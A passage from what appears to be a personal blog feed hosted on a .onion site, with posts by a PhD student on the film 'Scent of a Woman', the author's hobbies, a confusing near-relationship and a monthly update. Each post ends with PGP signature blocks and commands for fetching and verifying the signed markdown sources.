    The second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie.

    +

    Chris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. +He lives with his mother, and a not so nice step-father who isn’t really there for him.

    +

    When taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. +At last Chris agrees.

    +

    Upon Karen’s leaving, Frank gets ready for a trip to New York. +To do his last vows before taking his own life without Chris knowing this.

    +

    He plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life.

    +

    Frank is in love with Jack Daniel’s and cannot get enough of it. +Throughout the movie this drunk, addiction-like behaviour is portrayed.

    +

    Frank also learns about a problem Chris is facing. +Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. +He doesn’t want to snitch, but frank learns about this, he encourages him to take the deal.

    +

    Frank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. +There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! +He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. +The feelings I got were so strong and positive that I just cannot express!

    +

    In the end, when Frank wants to take his own life, Chris stops him and talks him out of it. +He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). +A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! +The officer didn’t even recognize Frank was blind!!!!

    +

    After these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris’s parent.

    +

    Chris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! +How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father’s back was.

    +

    In essense, the movie was amazing, with great acting all over it. +The characters portreayed their roles as amazingly as possible. +I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed.

    +

    The story was also amazing. +Characters really added life to the scenes by their amazing play. +Donna did the tango dance professionaly. +Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting.

    +

    That leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie?

    +

    Was it about Frank? +That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? +But Frank gave so much back to Chris. +I guess it is the same for me too, I’m also getting a lot back while making some sacrifices.

    +

    Or maybe was it about that amazing Tango dancing scene? +The sensations that Frank describes about relationships, and how he interacts with woman?

    +

    I honestly do not know. +I just know that watching the movie gave me good feelings. +That I’m a happier Iman than the Iman I was before watching it. +That my feelings and experiences are not abnormal, they are valid. +That I’m on the right track, but still need time to figure out the way. +That I shouldn’t worry too much. +That I should look at everything as a way to have “fun”. +That I shouldn’t overthink things. +That if I mess up, oh well, I should take the responsibility and move on.

    +

    I don’t know what the intention of my therapist was, but I’m so curious! +I want to figure it out. :) +Fell free to cross your fingers for me!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSqQCQ/9EAs8l5fvPCqCfZFBipGWtTJewjXdcCu13/WfX66vXjBdPxzL5pLkLV7Q
    +m6IiKs5GoxJFgNEyfNSjjBNj+NeqxgmYqlephJtf5ubTW+IuSMkinSyvVwkKrxAX
    +QA+1Imf7/4QTyUB6/L+19jk+1Yl2E0IVyJVWbuE0G/ZsB0TiTI/0Te3aKFdIv3lj
    +OAProXMLAaCpasabz8+kQBQsul12h0cjG7A+TSaTgaM+WnE8RuC6C0KV//YeUfvN
    +DuyXHU9DVklkbGSblZw8EKSwLqlbCoPKixeRjVT45OG41eGmGzxYOBEb57zYEfkZ
    +Zmgo6Y8g2fYYU1wMj5bIylfFut0TqenCxSzJX4xqLnAhw0fx9kLCY1aoxR/Mfub5
    +wVNf/2vL14Ef4kfMWg8POj1WrgZc+pSqWUONnTn0yBIl9rjk1LSe9IMtjBHnrIDd
    +GIwrhoAinO9Qyj7UOyoFFCj6JMnLcnhx5Cwn5EGRS9PSrbUbZdFDuYVQ74R/AEHf
    +VX1qD1UK0k84FsHhLLflEPiZypxIZsrXS+BpKKG5wi7mFopvUFuZoPbHdmK2856P
    +e9zZL9e7VOjODn00zR/b6iDMoLUdOxw0rey2LOoNx9Gw42zYb5vuw1djNOgE9D1R
    +57hf02VIRab5Q1ROOnfl05pv1bY5JMQO4Zcp5Me3OFmiQwl/KYU=
    +=/VjG
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/scent_of_a_woman.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/scent_of_a_woman.md.asc
    +gpg --verify scent_of_a_woman.md.asc scent_of_a_woman.md
    +  
    +
    + + +]]>
    +
    + + Hobbies + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hobbies/ + Fri, 10 Oct 2025 07:04:54 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hobbies/ + My point of view on hobbies + When I started my PhD, I was told “get yourself a hobby!” many many times by both my advisor, and the director of the group I worked in. +In fact, when being interviewed for the position, I was asked about my hobbies.

    +

    For some reason I think I have like the weirdest hobbies of all time. +Like, you know, people binge series, go to clubs, bars, hang out, and so on. +But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. +To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.

    +

    Let’s go back in time. +What hobbies have I had over the course of my life? +Actually as a kid I used to play games on Mobile for some reason. +I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. +I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. +Like I liked Vain Glory, and my brother liked Fifa. +We did play both in the end.

    +

    After my brother went to the capital to attend univesity, we bacame more distant. +I had to also focus on my own studies, and was actually struggling in junior-high. +Now that is a story in itself for another time. +I used to play games back then as hobby. +But my real interest was chess. +I was really good at calculating. +I was extremely sharp for my age, but since I was obbese my parents wanted me to take “active” sport classes. +So… getting into a chess class was conditional.

    +

    I have’t really done any chess studying after those early years, and I just know a few openings with little depth. +I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening.

    +

    In high-school I didn’t really have any hobbies. +I did become interested in Basketball, but nothing serious. +It’s funny how I was able to become good at any sport I tried. +I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. +I think swimming was, and still is my best sport. +I never pursued it though, which is a shame.

    +

    Before starting my Bachelors, I became really interested in Cicada3301, and cryptography. +Well, not the fancy state-of-the-art cryptography, the simple classic methods. +The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! +That reminds me, we had these special things in junior-high called “Karsoogh” for math, physics, chemistry, and biology. +I think I quilified for pretty much every one of them, and had a blast every time! +In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. +But the math one was different, it happend between a few close-by NODET cities, and annualy. +The idea was simple. +They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. +Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. +We then competed against each other. +The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. +The fastest team gets the most points. +The the message is common between teams. +After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. +First teams to get an algorithm gets more points. +Our team won the best algorithm in the end, and my ideas were most influential in this achievement! +My teammates became really good friends with me after this competition which felt really cool! +I think this was the reason I became interested in cryptography. +I don’t remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. +If your team solved a game, you got more points. +It was really fun, and since the games happened in parallel, all teammtes had to be active.

    +

    I said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. +I like to casually get lost in questions and think about weird equations, or natural problems. +Something like Feynman’s obsession with the spaghetti problem! +Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. +But I do want to get back to this fun hobby. +I just need some questions, and an empty mind. +Or I guess some time slots to chill and not stress about my other research.

    +

    During my bachelors, I became fascinated by hardware. +Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. +Later on I realized this is related to IoT and Embedded systems. +I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! +Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! +Unfortunately I don’t have any images from the project, but the code can be found here.

    +

    I bought myself a raspberrypi, many sensors and actuators, and did small fun projects! +I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. +I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. +I could not figure out how to fix the state when commands don’t go through correctly though, a challenge that I never solved or came up with a solution for. +I would say my love with computers, making things smart, and networking became my main hobby!

    +

    After some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. +It was, and still is a rat race. +Well, it’s the story of my PhD pretty much now.

    +

    Reading books became a hobby for a while, but Youtube kinda distroyed that. +I really love to get back to reading more books, I have a really exciting list of books to be read in my library. +Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. +I find doing chores so relaxing! +Since we talked about music I should mention I also tried to learn Piano, but didn’t pursue it. +I actaully wanted to learn Violine, but the consultant we talked to said “if you’re not a hard worker it won’t workout for you”, and since my brother was going to learn Piano, I followed suit. +And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. +This is a pattern that has happened in my life a lot, something I need to stop from happening. +Comparing myself with other, and competing with them. +It’s just distroying me mentally. +I am me, and the best me ever to exist. +And that’s how it should be.

    +

    Somewhere during my bachelors I also became fascinated by coffee! +I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. +Then came matcha, though with matcha things are much more limited.

    +

    Another thing that comes to mind is boardgames. +I love boardgames that you need to think and be smart! +An example is Cluedo. +People usually don’t like to play it with me because I pay attention to “everything”. +But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. +I have a whole collection of boardgames that I don’t get to play! :-P +One of my all time favorite games is “Zaar” (a persian game that was discontinued), and a game kinda similar to it called “The Night Cage”. +I like them because there is a bit of strategy, luck, and a lot of co-op in them. +In the later you either all win together, or get doomed. +In the first one there is a comperition aspect to the game which makes it cool.

    +

    Cooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I’m a loner! (Drat. :P) +I love to “not follow recipes” and try new things. +Foods I make usually turn out to be quite yummy actually, though definitly not authentic. +I also think I do a good job with the presentation part when I try. +And I’m open to cooking anything and everything!

    +

    I was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I’m alone, I rather do my other hobbies.

    +

    And that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD

    +

    3D printing is an interesting one. +I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. +When I went to 38c3 last year, I saw so many printers, and how cool they were. +And somehting in my heart was touched, that I need one! +The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. +And oh well, 3D printing is just the hobby! +I also tried to do some 3D design, but I’m quite a noob at it still. +I will probably share some of the things I’ve made somewhere somehow, but not for now at least. +Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). +It’s so cute and fascinating, and I had an absolute blast working on it for the one week I did. +So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! +I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. +It’s just a fun thing to have, and to play around with. +The fixing part of it, and maintaining it is not as fun, but it’s part of the journey. +I will probably write about me and my 3D printer a lot more in the future. +Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition!

    +

    And now let’s talk about the CTF stuff. +This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). +I’ve been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. +After starting my PhD, I was introduced to Saarsec, and now I’m a proud member, trying to contribute as much as my time allows me to. +I’m not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. +I love it! +I want to do more of it. +The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. +Too shay. +I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog.

    +

    And last but not least, blogging. +Well, I kinda started it for no reason to be honest. +I just want to share my stories, and to show my vulnerable side with no guilt. +It feels freeing to do this, and I hope I continue! +I hope people won’t get mad if they are a part of these stories I share. +I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. +I really enjoy it!

    +

    With all this being said, I think that’s it. +If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. +The only thing I want to emphasize is that I’m into things that make me limited to my creativity. +Oh, and also books, if only I read them instead of watching Youtube!!!!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
    +jSqvHBAAugjNjRO8BAXrZy/BCeaaLq9P87bm/hqVjqKDKz3KAzZggJ6a5MZ5IGs+
    +Ut2On5mWjbCYPwxS2scgLMpwNcmWht4zb4FnJIuENqXJsp95Mp0CWNAX4zEAA6bP
    +zc2L9rGoftLkdsPrSbYyx96DP4NWhaiE79LJevWtHXbJDWFgQ/b3MtgFvIK70Cft
    +L+2SUJrYHKCep1nhzWPhDcIXUwiZfGjZS8LyWJ/6eE3PxbIlAx4MyBUX3ZAcbRli
    +bGNjMfgVEcLATrLDT9zOumzMxSjRx85PK+Fyc+BlDnAO2qnjUgCW6XGn7QSy13AE
    +y5M3MwNhYdsdFeLDF/5YeMArV2lfSrd+CZXVpURputhkjJA8vjQ7CHsyKfo/ii0v
    +ZxeW4qRbT3PurO1ny6yNXc3q5oG4GEtEd27jIQlySU9W2UVpOFxtqZx9M4eflvIm
    +p/1yL1gDEUYNCWENcq07jbSWigXclVcC3GdDGFaHQc60gAncl82/ORKVuhgkvABE
    +JnG0MWALJeWVdolrNQvsrM9GT8kmUwXxJabQImsoK19kQxsCW6wF1x56iqA5mCVr
    +reupdpn62n3VFgtSEPrkcN8909Sp8kspl1zcxQ8/WC5hX/zCwAxvIu5V/cqSqysR
    +FoLCxShqcMKsEJoP74TdJnwKRO63CxXozUdUmmk28LrlqoGxJ/0=
    +=42yP
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hobbies.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hobbies.md.asc
    +gpg --verify hobbies.md.asc hobbies.md
    +  
    +
    + + +]]>
    +
    + + Relationships + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/relationships/ + Sun, 05 Oct 2025 08:03:31 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/relationships/ + My experience so far with relationships + +

    Notice: You’ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.

    +

    So… do you also think you’re a lover boy, kind, nice person? +So do I! +I think I’m actually really good at making friends with people. +Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.

    +

    My problem is when things are to become more serious! +Like, you know… connecting at a more emotional level. +A “relationship”. +I’m really bad at those. +In fact, I haven’t ever been in one! +Now let’s be honest, I’m not your typical jacked, handsome boy, but I think I’m somewhere around the average if not higher a bit? +Well, at least I hope so! :D

    +

    I actually haven’t even dated once so far. +My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like… yea dude… it was a date buddy. +Why do I say it wasn’t a date? +Well, because I was told so yesterday by her. +That if it’s a date, you’re supposed to say it beforehand. +I find that very fair actually. +I really do. +I wasn’t even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. +Like we planned a future together. +We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things!
    +We even found our “favorite shops” in the city together! +It was weird! I’m so confused. +I remember the second time we went out together, we sat next to the river and close to eachother. +She leaned into me at some point. +She had also touched my arm gently when making a joke earlier when we went shopping together. +It felt weird. +I did feel she was flirting with me, making plans with me. +She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. +We also had many deep conversations in this short amount of time.

    +

    But then it happened. +Suddenly she messaged me saying how she is going to have a bf soon “hopefully”. +That others know him, but not me. +That where we live there are not that many people. +That supply is low, and demand is high. +That this person asked her fast so that “the slots won’t be filled”. +It was weird, as if she was telling me I’m going to be taken if you don’t do anything…? +After this weird encounter I talked to two of my friends, and my married brother and his wife. +When she heard about our interactions and all of the messages we passed, she did feel like I’ve been friendzoning her. +That I’m not resiprocating her feelings. +That she perhaps has a crush on me. +Even my brother felt the same! +My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. +With all honestly, in her messages when she was teaching me the “ways”, she said “I don’t play games and I also advise you not to get together with people that do so”. +Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I’m doing is normal and things are going well. +But I guess I was wrong?

    +

    I do want to talk about some things that we exchanged on this weird conversation that made me confused. +She initially asked why I didn’t go out with them last night. +I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. +With all honestly I didn’t even know she was joining them or not. +It’s kinda weird, but the plans were made in a group she was not inside of. +Anyway.

    +

    October 4th was a rainy day. +She said she might be catching a cold, and that going out in this weather is maybe not a good choice. +She said let’s go next weekend as the weather is better, and also that we can go out after work hours in weekdays. +You see? She proposed a different time and date, she didn’t just cancel last second. +And then she started talking about last night, the things that happened. +A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn’t know him. +Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. +And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. +Then she talked about how when two people see each other, a click can happen, and that’s how you can know if you like someone or not. If it’s two way ofc. +I asked her what is this “click”? +She said “you know when you know, and if you think you don’t know then there isn’t one”. +Interesting. +My poor brain started looking back at our own interactions. +I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it… +And again I felt she is hinting something. +Poor me was stuck between a rock and a hard place. +She told me that if I like someone I should ask them on a date “early”, as time is of essence. +Again, I was confused. +I was lost. +We’ve been hanging out for two weeks, we have our favorite similar shops, hobbies. +We have plans together. +We understood eachother. +Or maybe that’s just how I felt in my mind? +Maybe things in my brain are just different? +I don’t know.

    +

    My sister in law told me that she probably had a crush on me and that I didn’t reciprocate her feelings perhaps? +That I’m friendzoning her by not touching her back or asking her out on a “date”. +Her reasoning is that she initiated all of this. +She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. +She told me that I should invite her to a date. +That I have to do something romantic now, maybe get flowers, and a gift. +And I did just that. +I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. +And I asked her on a date.

    +

    She said she enjoyed the company too, and thanked me. +She then said she is starting a new relationship, but even if that was not the case, “we were so different from eachother at a much deeper level”. +That her “life experiecnes” are just different, “and so on”. +She did actually say “and so on”.

    +

    You know what it reminds me of? +Of when your paper gets rejected by saying “lacks novelty”. xD

    +

    Another extremely funny thing is that she said we’re so different at a much deeper level, but she doesn’t even know me. +What was meant at a deeper level? +I’m confused again. +She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. +She knew nothing about me. +How are we different so deeply if you don’t even know me? I’m so so incredibly confused. +I guess it could be the looks, and the “vibes”? +But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won’t pursue her I guess? +Idk.

    +

    I want to also come back to this point she made that she is “starting a new relationship”. +She told me in the same conversation that someone asked her out (which she technically didn’t even say this, but it could be induced), and that going on a date “does not mean you’re in a relationship, that you want to know eachother”. +Her saying that “I said I’m starting a new relationship” hurt me, not because she is doing that, because she didn’t technically tell me that. +She then said “I always tell people this to avoid confusion”. +I definitly didn’t miss it if she did. She didn’t, but whatever. It’s fine. I did apologize. +The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me… +Did I miss it? +She didn’t. Just trust me on this one. ;)

    +

    I’m just confused. +The last three times I had a crush on someone I confessed too. +First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). +Second case ended up in a tragedy that I do not want to talk about, lol! +All I can say is that she definitly panicked and I don’t blame her. +I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. +The third one said that she is in an “undefined state” of a relationship, and that she wants to keep it “friendly” in university, which is completely fair. +But this last one. +This was the weird one. +The first and third one were really sweet to me when I confessed/asked them out. +The last one didn’t even show interest about being friends, which is again totally fine. +But I’m just so baffeled by all of this.

    +

    So… yea. This last “thing”, whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. +I do think I need to take a break from trying to get into a relationship. +I’ve been hurt a lot by the second one, and this was just confusing. +In her defence she was an amazing person. +Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! +I can’t just say the good stuff though. She was definitly a bit self-centered. It’s funny how she told me that “people say I’m so proud in a negative way, but anyone who talks with me knows I’m not like that”. Which is true, she wasn’t proud, the correct term is self-centered, or “narcissistic” if you will, which I don’t neceserrialy think is bad, but it is definitly an orange/yellow flag.

    +

    One thing I know is that I do wish her and whoever she dates the best! <3 +And that I would be ok to stay friends with her, but since I’m hurt, I will be much colder. +Sorry. :) +And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. +Fast progression ends like this? +But then maybe we never progressed? +I don’t know.

    +

    Well. I don’t know what’s gonna happen next, but I’m going to just live my life and have fun. +Aaaaaaaand maybe not worry about being single? +Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won’t be alone? Who knows? haha.

    +
    +

    P.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I’m worth more than that. :) In my therapy session I remembered that in each of these so called “not dates” we had a conversation about “her”, and she was dumping her emotional baggage on me, just like what happened this last time that confused me.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
    +jSqiiQ//eJCVvQEStc2rjNW3CYCwsumCJcZOWFPevf16UiZ6vDqzmIVwrA++dKrn
    ++rKVPmutHY5fR367QSXtfFqIxtsBKJ7zF/OMkYT8Kyi0EfI0Tiz7Hs7pT0rnw1Ns
    +pl+tEYMazzRwbHV3PEgKDVktc4TlCz0MwaUQ+pBdSu0tCU4flVcDiTagVUE0hId8
    +LC/unRH9o1S/iLLM4Fhao7Aifxr+lAjyi9v1//rlvhrbTt1L1mcFRFdnEf/4n4M8
    +x/cNOHdqjE3w/QNcjqAJDzy91ewxsiozSmwqx8fTdOmWpqXBtva4falGOQjgxzdR
    +l62/9qOspUMSf3nrePLMbDpJ2UvFZOna7pfNByX4TkMG5aquZH7ZjpiAhIRD706Y
    +Bq942gP8J14AnhZfss7QNY65dQV+h4WH+nnNELB0j9ekB2kEOdz3HzrbelKRdiOW
    +vd738e/uEkDwSD7t2ZIxsshVE/s9RbpKlPTV1M6qKkW2LGUcOvZ5KcVGkLFQDilo
    +6F5bjdx//SRiRfP1AwLyUggQCN8hDHKBvdpKOaVVdox49vZuUvFdHeyObbc/Hzoo
    +9V5I6WIfGqsCwwzcvndgVYbQ31q5NQ2Fc8dgQf219e9Mk/dyjTfea+6oBIiUF8j+
    +SB3F3CBqqIQDvofrLbHgD8KyeiigvSuoHReao7hjAmIJBhxYsjQ=
    +=lM4c
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/relationships.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/relationships.md.asc
    +gpg --verify relationships.md.asc relationships.md
    +  
    +
    + + +]]>
    +
    + + September '25 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/september_2025/ + Tue, 30 Sep 2025 09:48:21 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/september_2025/ + <p>I started the month by finalizing my draft for Conext Student workshop. +Let&rsquo;s cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I&rsquo;d have until 30th to do the camera ready stuff which should be plenty of time.</p> +<p>I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too!</p> + I started the month by finalizing my draft for Conext Student workshop. +Let’s cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time.

    +

    I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too!

    +

    Surprise surprize, the notification did not come and it’s the last day of the month. +Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. +I’ve been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October… +Drat!

    +

    I will probably do more literature review this last day of the month, and start working on the code base from next month. +I should do a lot more literature review to be caught up with whatever that’s been done so far.

    +

    My social life has been much more exciting too. +I’ve been socializing a lot more and have made many new friends. +Some other exciting things have also been hapening that I don’t have the courage to write about now. ;) +Buuuuuut… I will probably write about them at some point if things go the way I hope theuy would. +Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :)

    +

    And with that, that’s my September in a nutshell. +I will probably start writing through the month and then turn the draft into a post from now on. +That way it would look like a story!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
    +jSqrxg//VPgfKmG//gebN1gP5nOOmM4y1eoDvolP+Np/gpwm2Y2viYAv+njdwQag
    +w8UdLk1WKyc5EuKcuDXFaHK36VKk0Jr8jwRnPB98huKrYBmESj02HB19FgjIhYmk
    +IWNqEpIMeYVnWvZOKTGsvpdrAHc/694syjnQ9ZYQWFGOe+QGYpGsYEhei8tbjv7y
    +3giN/X4Vz8oowHlF0XCiBm+E2UxtcwgpFxaBN6tTb2AyzqMtt86zAfwvvPI/mJjl
    +MycRwHso3tVLt56ga28J88FdMdAfw2T60oCBBy3absRZUIGDOGYNWgUIIB+0JzZG
    +1wVD6Et5dP52WHcNwfSjBFWCCZossgYs6u6yUeOCHp3eHsq+nEpRj0IGsHBZUn4t
    +xxwF+HzHtVd9JWZHcfhLnh16PRT+drJlrCpHob2MzcrrBapVdWomjAidDu2PwyNm
    +9adYEohRZeM09EY16M6D+0JJDaQcHkL4TbTr/S1xbZ+K/5L+tLI9Mg0XoX0ZdG0B
    +BkUH9NMBSgM92lT2HLk1Hibi31K06KiCYBxAUSu+ELzLA0cik55TfEQNuiUDEpbz
    +yQBanuKAf70wk9BTg8HvKaUATI4OZBVDKFOoLBM6bLkx11MLiq4PkD9dNhsb2hwv
    +nFHvCVZqq2c2t7wTkMop7TdIxwZnl/sh6FaLYFLtmJpU+DyWles=
    +=ranU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/September_2025.md
